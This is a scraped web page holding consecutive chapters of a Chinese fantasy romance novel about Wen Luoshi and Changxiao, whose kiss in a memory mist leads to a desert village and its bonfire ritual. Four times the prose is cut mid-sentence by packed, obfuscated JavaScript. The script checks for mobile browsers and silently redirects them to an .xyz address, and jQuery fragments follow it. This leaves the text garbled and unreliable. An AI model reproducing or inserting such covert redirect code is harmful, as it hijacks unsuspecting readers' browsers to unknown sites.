“长晓,”文落诗鼓起勇气,抬起头,“你要做的事情,是不是和我有关?” 雾气快速消散着,只剩下最后一层薄纱,很快就不足以遮掩四周的墨色。 长晓把头低下来,目光如水,嗓音有些沉:“如果是呢?” 文落诗一颗心悬着,腿脚甚至感到发软。她下意识往后躲,却在向后退开一步之时,感受到背上一只温热的手掌袭来,将自己的身体向前搂去。 恰巧,她的左手手腕还被另一只温热的手掌抓着,向前用力一拉。 电光石火之间,她再也站不稳,向前倾去,扑进了长晓怀中。 此刻长晓的胸膛温暖至极,像是一汪散发着热气的春泉,而文落诗的身子一丝不苟地挨了上去,不留任何缝隙。 她毫无选择地感受着那胸膛正微小地起起伏伏,只觉得腿脚更软,仿佛她若是不再靠着长晓,便站不稳了。 “如果是……我……我也不知道,但是你先松开我。” 大概是用尽了最后的力气,她极小声地说出一句话。 可这软绵绵又有些娇嗔的声音传进长晓的耳朵里,却是不能再勾人了。 那只抓住手腕的手确实松开了,只不过转至她的后脑勺处,使她微微仰起头。而那只本停在后背的手缓缓向下拂去,搂住了她的后腰。 “不松开了。再松开就来不及了。” 长晓的头缓缓低下,温热的话语从口中吐出,游丝般回荡在文落诗的耳畔。 他们二人的身高相差并无太多,文落诗本就是在女孩里算个头高的,平日里跟长晓站在一起,头顶就已经到他的脖颈处,稍稍一垫脚,便能与他平视。 所以此刻,长晓甚至不需要过多低头,也不需要过多捧起她的脑袋,便碰到了她细小的鼻尖。 “不知道?那我就当你答应了。” 文落诗只觉得心跳已经消失,手不受控制地攥住长晓的衣领。 她的周身是一团火热,可她逃不出去,根本逃不出去。 于是她闭上眼,不敢再看。 大约就在闭眼的那一瞬间,她的唇被一片温软之意覆盖住。 天昏地暗,头晕目眩,仿佛沉入深海之中,身体失去了所有重量。 周围风声四起,树木皆动容。 意识已经模糊,她无法解释是因为一念雾将散,还是因为那股不断摩挲在她唇上的感觉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948343|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好像全身各处的所有感知都消失了,如同广袤冰原,如同无垠雪地,而长晓在她毫无防备之间低头落下的吻,是这苍茫世间的唯一一抹赤色。 不知过了多久,她扬起的脖子酸了,被搂住的腰僵了,连眼睛紧闭的力气都快没有的时候,她颤抖着睁开眼。 模糊之中,她看着长晓锲而不舍地低着头,从视线的左侧移至右侧,又从右侧移至左侧。他的鼻尖时不时蹭过自己的鼻尖处,闹得她痒痒的,却无处可躲。 突然一瞬间,文落诗感受到自己的唇被轻轻一咬。 她吓得闭上眼睛,再也不敢睁开,身子连连向后倒。可是在长晓眼里,她更像一团柔软轻盈至极的棉花,轻轻一捧就能抱住,毫不费力。 不是往后躲么,呵,那我再低点头就好了。 那是长晓的最后一丝意识。 从那之后,细细密密的轻咬如同炎日中暴雨般落下,而四周的墨色也如同飞流一般涌出,雾气消散,天光云影重现。 * 文落诗再次睁开眼睛之时,与进入一念雾之前别无两样,安坐在地上。 只是她有些纳闷,因为她似乎还停留在慌张的状态中,而这濒临窒息的感觉里,还夹杂着一丝淡淡的喜悦。 到底是发生了什么,能让她受惊成这样? 直到现在,她的心脏依旧跳得厉害,丝毫没有恢复正常的意思。她伸出手去摸心脏的位置,却惊奇地发现自己腰酸背痛,好像弯了太久。 最奇怪的是,她觉得自己的嘴唇有些肿。与往日说话说多了那种嘴皮子的劳累完全不同,更像是有什么毒虫蜇过一般。 这时,坐在身边的长晓也睁开眼睛。他眼神中充满惘然,也不太正常。 “你是不是也心跳特别快?”文落诗问道。 “是,不止是心跳快,还觉得身体有些麻,像是紧张过度。”长晓微微皱眉。 “我貌似明白一念雾的意义了。哈!我还真有点想知道,这种状态,到底是我经历了什么。”文落诗开口一笑,却觉得嘴唇有些疼,就连张嘴都有些困难。 “我也想知道。”长晓正努力将状态调整回来,勉强笑道。 他是真的相当疑惑。进入一念雾之前,他有几个预测。做想做却一直不敢做的,无非就那么几件事,都是关于朝政的。按理说,无论哪一件,他都不该有如此大的情绪波动才对。 大约是真正做出的这件事,他在清醒之时,并没意识到对自己有多重要。 “先缓一缓,之后再走。”文落诗倒是看开了,“来泼墨森林这一趟,也算是值了,一念雾都赶上了,无憾了。” 长晓微笑以对:“是这个道理。” 夏风传来热气,拨动头顶茂密的树枝。毒辣的阳光从树枝缝隙中钻出来,直击地面。 两人目视着前方曲曲折折的泥路,都陷入了沉思。 这一天之后,他们大概都有了一个新的愿望,或者说是志向。至于要做出多少努力才能找回这段记忆,现在谁也说不清楚。 那就把一切都交给未来的时间。 眼下要做的,是一步一步走后当下的路。 59. 篝火燃照星满天 走走停停,距离两人进入泼墨森林,已经过了半年。森林大得仿佛没有边际,每天都有不同的花草树木,各个不重样。 而在这夏年中最热的时候,他们来到了森林的“尽头”。 可谁也没想到,眼前突如其来的,是沙漠。 两人都迟迟没有向前。 “怎么会是一片沙漠?”长晓难得有皱眉头的时候。 “原来书上说的是真的……”文落诗喃喃道,“我在一本书上读到过,说泼墨森林中藏着一片沙漠,沙子是纯黑色的。只不过森林太大了,很少有人能碰上这一片沙漠,所以很多读者质疑那本书是作者虚构的。” 长晓转过头问道:“照你这么说,这一片沙漠并不大?” 文落诗点头:“应该很快就能穿过。” 于是他们二话不说,开始穿越沙漠。 “这沙子真的全是黑色的哇!我第一次见黑色的沙子呢!”文落诗蹲下来,双手捧起一团幽黑的沙子,泼洒向前方空中。 见长晓也不回答,文落诗悄悄撇了撇嘴,心道,这个人真是的,也不给个反应。 像是瞧见了她的撇嘴,长晓忽然说话了。他语气淡淡,却是含着笑意:“多看一会吧,以后可能看不到了。” 文落诗心中感慨,好吧,不说他了。毕竟换个人,怕是不可能这么纵容我随时停下来玩,还二话不说。 长晓对她有点太好了。 有时候文落诗会思考,为什么长晓对她这么好,好到一个几乎没有理由的地步。不过每每想到这里,她都得出同一个结论:是因为自己对长晓也很好,仅此而已。 大约没有别的。 “前面似乎有个村落。” “啊?” 文落诗正在玩沙子,用黑色的沙子堆起一个小狗模样,忽然闻言抬头。 “我隐约看到了一缕轻烟升空,大约是前面在烧火,如此看来,是有人居住。”长晓看着前方不见边际的黑沙,语气和刚刚一样淡。 “那快走啊!”文落诗立刻抛下她刚做好的小黑狗,“我还没在泼墨森林里见到除了我之外的活人呢!” 长晓沉默了好一阵。 “呃……我不是说你不是人的意思。” 反应过来的那一刻,文落诗有些尴尬。 长晓阖上眼,像是经常经历这种无可奈何。 “都半年多了,你还是不习惯我跟你同行。” 他语气依旧很淡,而且是在陈述一个事实,可文落诗却是实实在在听出了一丝委屈。 她抿了抿嘴唇,斟酌道:“我可能真的以前一个人过得太久了。” 长晓也没回答,静静看向远方。 所以,哪怕两人相处时间不短了,这个姑娘还是不会把他当成必要的存在。好像在她的意识里,真的不需要另一个人。 他用尽全力收拾好心情,重新抬眸之时,却忽然觉得身前热乎乎的。 自己好像被抱她了一下。 他还处于震惊之中,文落诗已经退回原处了。她正喜笑颜开,欣赏着他的表情。 “但是现在不会了,以后很长一段时间也不会了。”她声音甜甜的,像是久旱之时出现在眼前的甘霖。 长晓没反应过来。 “有个人进入我的世界里了哦!他的存在对我来说很重要的。”文落诗狡黠一笑,像一只正在挑逗别人的小猫,“而且,这个人刚刚被我抱了一下!” 长晓懵了一样,半天没说话。 文落诗眼珠转了转,喜悦之情渐渐消失,神色黯淡下来:“啊,不好意思,你是不是不喜欢我抱你啊?” 就在她刚说完这句话之时,忽然觉得她也被人抱住了。 而她还没反应过来,这人就松开了她,也学着她方才的样子后退,装作无事发生。 “多谢文姑娘,礼尚往来。” 文落诗回过神来的时候,长晓已经向前走了好几步。 她提起裙摆跑上前去,脸上热热的。 “你也不等等我,就往前走!” “反正你会跟上来。” “哪有你这种人啊!” “我就是这种人啊。” 不想再跟他说话了。文落诗只觉得自己不仅脸上发热,身上也开始发热。 她脑海中一片混乱,直觉告诉她,不能再这样下去了。 接下来的路上,她没说话,长晓也很默契地没再发起话题。 直到那片沙漠中的聚落,完完整整地出现在了他们面前。 “你若是不想遇见陌生人,我们可以绕过去。” 长晓的声音如同清泉一般好听,每次听他说话,文落诗都觉得挺享受的。 所以她不由自主地把语气也放软:“我还挺想看看长期居住在泼墨森林中的人是什么样的。” 长晓挑眉:“你确定?毕竟不知道会发生什么。” 文落诗一脸泰然:“这里有两法力高强的人,不在怕的。” 长晓想想也是,跟她继续向前走。 这个聚落并不大,大约有十几个茅草搭起的小屋,四周支着摇摇晃晃的彩旗,中间有一簇木柴,正燃着篝火。 “这么热的天,怎么还要生火呀?”文落诗疑惑道。 “沙漠的白天和黑天里温差很大,晚上若是不燃篝火,会相当冷。”长晓道。 文落诗刚想说什么,忽然见茅草屋中走出一个头发乱蓬蓬的小女孩。她身上穿着五彩缤纷的碎布拼成的裙子,脖子上挂了一个月牙样的环。 女孩看到文落诗和长晓站在这里,眼中露出震惊。不一会,她走上前,仔细打量了二人很久,鼓着腮帮子问道:“你们是从哪里来的呀?” 文落诗一怔,怎么会有人一上来就问这种问题? 她刚想回答,就发觉长晓碰了碰她的胳膊,示意她多留个心眼。 文落诗给长晓回复了个眼神,长晓便开口温声问道:“姑娘为何有如此疑惑?” 那女孩凑上前来,换上一副偷偷摸摸的表情:“我看大哥哥和大姐姐是从南边来的,那就应该是从第一重天的方向吧?一会我们长老来,你们可千万别这么说,不然会被赶走的!” 文落诗和长晓双双疑惑。 “这位妹妹,我没太明白,你的意思是,你们长老不欢迎第一重天来的客人,还是只是不欢迎客人?” 女孩的眼珠子睁得大大的,清澈得像是刚化冻的清泉:“我们长老看不起寒声城来的人,觉得他们不如参商镇的人。” 泼墨森林接连第一二重天,而第一二重天的边界处分别是寒声城和参商镇。 “这明明只是个地点啊……怎么会态度有这么大的区别?”文落诗很是不解。 长晓思考道:“远古时期,九重天的确有实力与尊卑之分,更高的地方往往是实力更强的人才有资格居住的。只不过千百万年来,随着一代一代变革,这些老旧腐朽的思想早就消失了。现如今,第九重天因为有融雪城作为都城,依然保持着崇高的地位,可之下的八重天早就不分伯仲了。” 文落诗想到什么,又碍于小女孩在面前,只得给长晓传音道:“怕是这里与外面隔绝太久了。” 长晓皱眉:“那也不至于隔绝了千百万年。” 文落诗正要开口说些什么,却见前面最大的茅草屋里踉踉跄跄出来一个中年男子。他满脸横肉,五大三粗,如今更是气势汹汹,大吼道:“窝是从寒声一漏走来底,者森林这么为线,窝都活底好好底,怎么扣能不如神尚枕底人?” 小女孩向二人摊摊手,好像在说,看吧,我刚刚说什么来着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957001|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转眼间,她像是怕被长老发现,一溜烟跑回自己的茅草屋中了。 长晓一脸懵:“这个人刚刚说什么?” 文落诗嘴角一抽,凑到长晓耳边:“他刚刚说,他是从过寒声城一路走来的,这森林这么危险,他都活得好好的,怎么可能不如参商镇的人?” 长晓大为震撼,睁大眼睛看着文落诗:“你是怎么一下子就听懂的?” 文落诗想了想:“可能是因为这些年我走南闯北,见的人太多了,慢慢就能听懂各地的口音了。” 长晓莫名觉得自己的胜负欲被激起,撇了撇嘴角:“我也在寒声住了一年,怎么就还没你厉害呢?” 文落诗一脸得意地拍拍他的肩,故意道:“常年居于九重天上的大贵人,自然不可能在短时间内懂得这些的。” 长晓眼睛眯住,却迟迟没有开口反驳。 文落诗欣赏够了他的表情,终于松口:“行啦,我知道你其实也走南闯北很多年了,不然怎么会写出这么多贴近民生的曲子?只不过你打交道的人,更多可能还是那群权贵们。” 长晓眼眸一暗:“昔日还是我告诉你创作在于下沉,现在看来,我真的做得远远不够。” 文落诗安慰道:“也不必妄自菲薄,你很好了。不用对自己要求这么高,口音这种事情得慢慢来,积累经验。” 长晓垂下眼眸。 不用对自己要求这么高?眼前的姑娘有资格说这话,可他没这个资格。 “长晓。”文落诗忽然叫他。 于是他睁开眼眸。 “我猜到你来自第九重天融雪城的时候,就猜到你可能位高权重。这些天来,我更是看出你想做为民间做很多事情。但人是不可能没有短板的,不必因此责怪自己。这不代表你不够好。” 长晓眼中露出一丝苦涩。 从小到大,他一直被告知不能拥有短板,稍稍有任何一处做得不好,他自己都不能容忍。但现如今,眼前的姑娘却告诉自己,不必因此责怪自己。 “落诗,我怕是没这个资格。” 文落诗猜到他会如此说,毕竟她经常在话本上看到那些大家族的孩子被管得多严格,丝毫不敢松懈。她思考一阵,忽然有了一个念头。 “你是担心自己缺少作为平民百姓的经验吗?这可太好办了。” 长晓没明白她要说什么,静待她说完。 “我从小到大就是个普普通通的民间姑娘,有什么不懂的,你问我不就好啦?至少接下来这段时间,我可是一直在你身边哦!” 文落诗给他送上一个大大的笑脸,继续开口:“接下来你我一直是同行的,所以,你有什么短板,我给你补上。” 见长晓还是不开口,文落诗最后补了一句:“同理,这些天你也让我学到了很多,这叫互相帮助。我说完了。” 长晓低下头,静静看着文落诗脸上挂着笑容,款款身姿,楚楚衣裳,站在自己面前。 遇上她之后,他才开始真真切切意识到自己缺少什么。他一直以为自己很缺少很多才能,可她却忽然说,无所谓的,这不代表自己不够好。 而且她说,有什么自己不会的,她帮自己补上。 “好,多谢你。” 大约是不知道还能说些什么,或是再说什么就会突破界限,长晓轻轻开口,只回答了这些。 文落诗见他释怀了,目的达成,高高兴兴打算向前走:“走吧,一起去看看为什么这里的长老会歧视不同地方的人。” 她这话说得直白。 长晓跟在她身后,见她的身影在面前晃动,心下涌起无数道暖流。 她说接下来这段时间,她一直在自己身边。 可能是他有些贪婪吧。 要是她在自己身边的时间能更久一点,就好了。 60. 篝火燃照星满天 拨开茅草屋前的帘子,文落诗看着里面的白胡子老爷爷,探出一个小头:“老爷爷,您是这里的长老嘛?” 老者没想到有人会来,沉声道:“来者是何人呢?” 文落诗从帘子里钻进去,声音甜甜的:“我和一个朋友路过这里,您方便让我们歇歇脚吗?” 老者紧紧盯着文落诗很久,没说话。不一会,他又见长晓风度翩翩地走进屋内,便默认了这是文落诗刚刚所说的朋友,点了点头:“二位是要赶路去寒声城吗?怎么会从这森林之中绕行呢?” 文落诗心道,这就来了。 长晓也没出声,给文落诗开始传音。 “大约真是这样。” “他看不起寒声的人,看来是真的。” “你打算怎么回答?” “嗯……你看我的。” 文落诗嘴角又挂起微笑,对老者说道:“老爷爷,我们一路从参商镇进入森林,只是想闯闯而已,没想到迷了路,绕了好几个月都没出去。这不,没想到森林之中还有一片沙漠,就来您这里了!” 说完,她继续给长晓传音:“先哄哄他,回头找机会看看怎么帮他做个思想提升。” 长晓收到文落诗的传音,也应和道:“您老要是不方便,我们离开便是。” 文落诗心道,好啊,不愧是你,以退为进都用上了。 果不其然,老者听说了二人是从参商镇前来,顿时眉开眼笑:“行行行,能遇上你们,可真是我这老爷子的福分了。”说罢,他一挥手,空中闪过一道黑色的光芒。 “黑色光芒,竟看不出是哪一道。”文落诗又给长晓传音。 “怕是这里真的与世隔绝太久了,修炼方法不同,只有通识的术法,在此基础上深耕,不像外面一样,在通识术法的基础上分不同之道。” 文落诗觉得新奇。 魔族的修炼,最开始呈现出来的气息,确实都是黑色的。只不过大多数人喜欢专耕深耕其中一道,气息才开始分成不同颜色。 黑色光芒消失之时,一个小女孩出现在茅草屋中。 文落诗仔细一看,巧了,正是刚刚提醒他们二人的那个小女孩。 “麦芽糖,你带两位客人去休息。” 那个小女孩也不多话,只是点了点头。 进入她茅草屋内,文落诗松下一口气,忍不住问道:“你叫麦芽糖?” “嗯,好记。”小女孩摊开一个布包,开始收拾东西。过了一会,她再次开口:“你们直接叫我麦芽糖就行。” 整个茅草屋很小,从门进来,有一个简陋的矮脚桌案,以及一张不大的床。这床大约是茅草堆起来的,上面铺了好几层布,还放着一团没叠的被子,和一个长条的枕头。 “我方便问一下你们长老怎么称呼吗?”文落诗轻声问。 “我们一般叫他麦穗长老。”小女孩也不抬头,随口答道。 “麦穗长老春秋几何?”长晓也开口。 “他?他一万多岁了。” 文落诗和长晓双双震惊。 麦芽糖回头,见两人都愣愣地站着,小嘴一张:“屋里这么多蒲团,你们随便坐。” 文落诗这才注意到茅草屋的一角处堆放了好几个蒲团。 长晓走过去,搬来三个,在地上放好。 麦芽糖像是收拾好东西了,把布包扎了个结,又跑去床边,不知怎的鼓弄半天,从床下面又掏出一个小枕头。 “麦芽糖,你是要收拾东西吗?” “对,我这几天去麦穗长老屋里住。” “是不是我们占了你的屋子?” “没事,我经常跟他一起住,他也乐意。” 两人又是久久没说出话来。 麦芽糖很是疑惑,这两个人怎么又动不动就不说话了? 她懒得管这么多,抱起枕头和布包,屁颠屁颠跑出去门去,临走前嘱咐两人:“我们这里有一个规矩,每天晚上睡觉前,所有人是要聚在一起点篝火的。之后可能还会唱啊跳啊,你们可能没见过,但是既然来了,你们也参与一下。” 文落诗点头:“好,我们先休息,晚上出门去找你。” “就在门口,出门就能看到。” “多谢你。” 然后麦芽糖把茅草门一关,留下屋内二人面面相觑。 文落诗还是懵懵的:“书里没有这段。” 长晓见她没回过神的样子,淡淡一笑:“所谓读万卷书不如行万里路,盖如此。” “那晚上怎么办?” “去跟他们一起点篝火啊。” “我总有种很奇怪的感觉。” “我也一样,新来到一个地方,人生地不熟而已。” “上一次坐在地上,好像以前跟彦月在出游过夜的时候。” 长晓眯了眯眼睛,没说话。 文落诗下意识地挪动蒲团,坐得离长晓更近了些。 长晓这才面色稍缓。 “我是不是跟你提他的次数太多了?”文落诗试探道。 “你才知道啊。”长晓眼神凉凉的。 “你不太喜欢我经常提及他?” “你觉得呢?” 文落诗不明所以,只是皱眉:“行,我以后少提。”说罢,她又忍不住补了一句,“你这么在意做什么?我又不喜欢他。” 说完,她心下一空。 我为什么要跟长晓这么说? 长晓也是愣住,眼神有些游离:“为什么和我这么说?” 好尴尬。文落诗别过头去,不再看他。 特别是,现在他们两个在同一个屋檐下,共同坐在一个封闭的小空间里,还挨得极近。 空气安静许久,长晓忽然轻笑出声:“又不愿意看我了?” 文落诗这才悻悻回过头,双眼耷拉着看向长晓:“现在看你了,满意了?” 长晓懒得理她,转移话题:“方才麦芽糖说,麦穗长老一万岁有余,我在想,这或许解释了他为何会区别对待寒声和参商的客人。” 文落诗接上话:“没错,我也是这么想。” 长晓看向茅草屋唯一的窗子方向,道:“若是麦穗长老万年居住于此,且深度传承着祖先的思想,那他确实会认为第二重天上的人更有优越感。” 文落诗摇头叹气:“老一辈的人,若是恪守那套老古板,恐怕会一直坚持,听不进去劝的。” “落诗,”长晓抬头,温声道,“尽力就好,我们又不是为了感化他人而活着。” 文落诗十分认同:“晚上出去打听一下怎么回事。不管如何,有了这个歇脚之所,我还是很感谢他们的。” 长晓望了望屋内,神色有些复杂。 “放心,我没忘我谎报了来处。” “嗯,要我我也这么做。这件事之后再想办法。” 文落诗心下疑惑,长晓像是有些心不在焉。她便也寻着长晓眼神的方向望去,目光最终停留在屋内最里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967359|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的茅草床上。 电光石火之间,文落诗暗叫不好。 她明白自己为何总是隐隐觉得奇怪,也明白长晓为何一直这副神色了! 麦芽糖去找麦穗长老一同休息,但如今整个小小的茅草屋内,只剩下了她和长晓两个人。 而且,好像还只有一张床,一床被子,一个枕头……虽然被子和枕头都挺长的,够两个人睡。 她是跟长晓“同居”过,她也不在乎,但是,那仅限于两个人分开两张床的时候。 “我睡地上,”长晓看文落诗的眼神变化,便知道她意识到这个问题了,“我有足够的魔气护体,不会着凉。” “不行!”文落诗几乎没经过思考,脱口而出,“你一个锦衣玉食惯了的人,怎么能睡地上?倒是我,从小无数次颠沛流离,什么恶劣条件没经历过,睡地上是再寻常不过的事情,我睡地上就行了。” 长晓惊呆:“你……什么叫我……我怎么可能让你一个姑娘睡地上?不行。” 文落诗“啧”了一声:“别跟我在这里来怜香惜玉那一套,也别跟我讲男人应该怎么怎么做那一套。我都不吃。” 长晓忽觉词穷,一时间眉头紧锁:“总之不能让你睡地上。” 文落诗撇嘴,见长晓有苦说不出的样子,甚是好笑。她走到茅草床前,认真看了下被子和枕头,忽然打趣道:“其实,被子和枕头都挺大的,够两个人睡。” 她纯属开玩笑,没想到长晓竟然回应了。 “其实,我可以的。主要看你。” 文落诗这回完全惊呆了:“长晓,你确定你说的是人话?” 长晓十分自然点头。 “你不仅要孤男寡女共处一室,还要同床共枕?”文落诗瞳孔睁得大大的,仿佛第一次认识长晓。 “你不是从来不在乎这些吗?”长晓忽而一笑。 文落诗张着嘴,好久没说出话来。 “我……我是不在乎,但你也不在乎啊?” “嗯,我不在乎啊。” 文落诗彻底闭嘴。 她终于觉得,自己这么多天,遇上一个疯子。这个人表面沉静平常,内心却是比自己还疯狂。 长晓倒是一直很镇定,语气含笑:“这么多天,在森林中,你我都是休息在一起的。有时候靠着两棵树,也是挨得极近。只不过是从树下换到了茅草床上,本质上没什么区别。” 文落诗气得咬牙。 区别大了!他竟然面不改色心不跳地告诉自己,区别不大! “你要是不愿意,那就我睡地上。这个话题就此打住。” 长晓眼底如同一阵火光划过,笑意跳动着,期待文落诗的反应。 文落诗对他无语了。 她闭上眼睛,努力平复了情绪。 “算了,我同意,你跟我一起来茅草床上睡。”她嘴角狠狠抽了抽,“不然,万一你生病了,还得我照顾你。” 长晓很满意这个结果,颔首。 两人休息了一会,天色就渐渐黑下来。文落诗把床收拾好,长晓则坐在屋子中间的蒲团上没动,仔细看过了屋中的每一处。后来,他不知何时拿出几颗夜明珠,念诀点亮,在屋内摆好。 文落诗刚躺在床上,全身上下摆成一个“大”字,就听见屋外开始涌出阵阵话语声。 “一会再睡,”长晓走到床前,很想纵容她闭上眼睛睡觉,却见她忽然睁开眼睛,便狠了狠心道,“先出去看看发生了什么。” 61. 篝火燃照星满天 推开门的那一刻,麦芽糖刚好站在门口。 “点篝火啦!快出来!” 很明显,相比这个大哥哥,麦芽糖更喜欢这个大姐姐,眼巴巴地要大姐姐抱抱。 于是长晓就这样被麦芽糖忽视了。 文落诗被她拉着,来到众多茅草屋中间的空地上,看到一个大炉子,里面堆满了干枯木柴。 没过多久,茅草屋内的男女老少都零零散散走出来,在篝火前站好,围成一个圈。 他们的穿戴都和麦芽糖很像,五彩缤纷的碎布,拼凑成原始的裙子和衣袍。而沙漠中的各种矿石,被他们打磨成各种配饰,佩戴于身上各处。流星一般的珠,满月一般的玉,萤火一般的碎花,看得文落诗眼花缭乱。 麦芽糖的脖子上依旧挂着那个月牙样的环,如今天色暗下来,那月牙竟开始发出淡淡的青色的光。 不少人见到文落诗和长晓,纷纷点头示好,然后开始悄悄议论,时不时偷看他们一眼,又害怕动作太过明显被他们发现,频频躲躲闪闪。 “大家都在看我。”文落诗把麦芽糖搂在身前,拍了拍她的脑袋。 麦芽糖还是个小孩子,身高只有文落诗的一半。文落诗本来就对这种看上去天然无公害的小孩有好感,如今一个麦芽糖蹦蹦跳跳跑来要抱抱,文落诗很自然地开始哄小孩。 “嗯,因为大姐姐特别好看。”麦芽糖声音脆生生的。 “不只看我,也在看长晓。” “长晓是大哥哥的名字吗?” “对。” “他们往这边看,是因为大哥哥也特别好看。但是,他没有大姐姐好看。” 文落诗笑出声来:“哪有你这么比的。” 长晓就站在文落诗旁边,自然也听到了这些对话。他略显惊讶地看了眼文落诗,轻声开口问道:“你这么喜欢小孩子啊?” 文落诗摇头:“我一般不喜欢小孩的,觉得太闹腾,而且经常无理取闹,可烦了。但是麦芽糖目前看起来还行。” 麦芽糖闻言,立即从文落诗的怀抱里出来,使劲瞪眼:“我从来不闹腾,也从来不无理取闹。” 文落诗觉得自己心快化了,这个孩子真的太可爱了。“知道啦,所以我才说你还行。” 麦芽糖继续澄清:“不是还行,是很好。” 文落诗笑着点头:“行,麦芽糖是很好的孩子。” “嗯,这就对了。” 文落诗忽然心思一动,语气放轻,对麦芽糖低头说道:“不过,大姐姐告诉你哦,别人怎么说你不重要,你自己觉得自己好才是最重要的。” 麦芽糖眼珠转了转,像是思考了一番文落诗的话。半晌,她懵懂抬头问道:“大姐姐叫什么呀?” “文落诗,你可以叫我落诗姐姐。” “不要,我知道名字就可以了,我还是要叫大姐姐。” 文落诗和长晓互看一眼,眼神都中充满宠溺。很明显,他们都觉得这个小女孩太可爱了。 她刚想再开口说什么,只听麦芽糖欢快大喊一声:“麦穗长老来喽!” 交头接耳的声音迅速平息下去。 那白日里接待二人的麦穗长老杵着拐杖,伛偻着腰,慢慢悠悠从茅草屋中出来,走到人群之中,来到麦芽糖的边上。 他站定后,缓缓直起身,慢吞吞道:“诸位,今日有两位来自参商镇的客人。按着待客之道,今日理应由他们来点燃篝火。” 文落诗稍稍一怔。 麦穗长老转过头,解释道:“我们这里的规矩,大家伙每日轮流点火。今日本应轮到我,但二位既愿意留宿,实乃我这小破村庄的荣幸,这一天之中最庄重的事情,自然应该由二位来做。” 长晓笑着道:“多谢麦穗长老,敢问这点篝火,是何意?” 他一开口,周围不少人开始悄声议论。文落诗耳目好,大概听见他们说的是长晓的声音好听。 麦穗长老不紧不慢说道:“我们这群人长期居于泼墨森林之中,世世代代下来,已经数万年有余。这每晚睡前点燃篝火,是一个保留的习俗。既是全村人聚在一起的象征,又能在夜晚中取暖。” 长晓颔首:“我明白了,多谢长老解惑。” 文落诗抱着麦芽糖,心里腹诽了不知道多少次了。长晓这个人,人前人后是真的完全不一样。在人前他总是一副谦谦君子的样子,谁看了不迷糊。然而人后呢?仗着跟自己熟了,什么都做得出来。 长晓正询问麦穗长老点篝火之事,麦芽糖忽然戳了戳文落诗,小声对她说道:“三日之后,是夏年中日光最长的一天。那天晚上不仅要点篝火,我们还会唱歌跳舞。” 文落诗觉得新奇:“真的吗?” 麦芽糖点头:“嗯,那天是最小的人来点火,也就是我。所以,你们一定留到三日后再走。” 文落诗没意见,继续问道:“你说唱歌跳舞?” “是了,有人弹琴,有人唱歌。是四年一度的最大盛会,大家都盛装出席。” 文落诗心道,麦芽糖所谓的盛装,大约是所有人都认认真真穿好五彩布裙,再戴上无数个矿石的配饰。不过,麦芽糖说的这些,她默默记下了。 接下来,麦穗长老挥动五彩碎布缝合的大袍子,阵阵黑气从袖间涌出,一个火炬也浮现于他的掌中。他用另一只手掌在火炬顶端一拍,顿时火炬上燃气熊熊烈火。一时间,广袤的黑色之中亮起一束光。 长晓敛袖,缓缓接过火炬,看向文落诗:“你来吧?” 文落诗摇头:“你去吧,我照顾麦芽糖。” “我不需要大姐姐照顾!”麦芽糖扭过身子。 “行,”文落诗松开她,看向火光中长晓忽明忽暗的脸,心中一股情绪涌动,“那就一起。” 她伸出手,抓住了火炬的末端,在长晓那只手的下方。 可紧接着,长晓那只握着火炬的手松开了。文落诗不解地抬头,正想开口问他为什么松手了,就觉得自己手上传来一阵温热。 那只苍劲的大手已经一丝不苟地覆上来,握在她雪白小手之上。那感觉过于细腻,她甚至能感受到长晓指尖因为常年弹琴而磨出的厚茧。 文落诗心下一阵慌乱,睁大眼睛看向长晓,给他传音问道:“你做什么?” “点火啊,”长晓面色不变,眼中却浮起更浓的笑容, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978907|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “既然说了要一起点火,自然要一起握着火炬才行。” 周围的交头接耳声又响起了,麦芽糖也“哇”了几声,可文落诗再也顾不上这么多,只觉得脸上发烫。 干嘛啊,本来好好的。当着这么多人的面,我又偏偏没法说你什么。 她干脆闭上眼,大步走上前。 长晓不是握着她的手吗?文落诗的逻辑是,她上前走,长晓也得被迫跟着走。 抓我手都不问我同不同意,那我往前走,也就不问你同不同意了。 哼。 长晓见她大步流星,满脸不管不顾的样子,只是笑意更深,跟上她的脚步。 